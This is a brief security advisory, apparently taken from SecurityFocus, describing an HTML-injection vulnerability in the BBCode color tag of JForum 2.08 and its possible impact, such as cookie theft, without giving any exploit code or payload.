JForum 2.08 – BBCode Color Tag HTML Injection
source: https://www.securityfocus.com/bid/42414/info JForum is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. JForum 2.08 is vulnerable; other versions may also be affected.
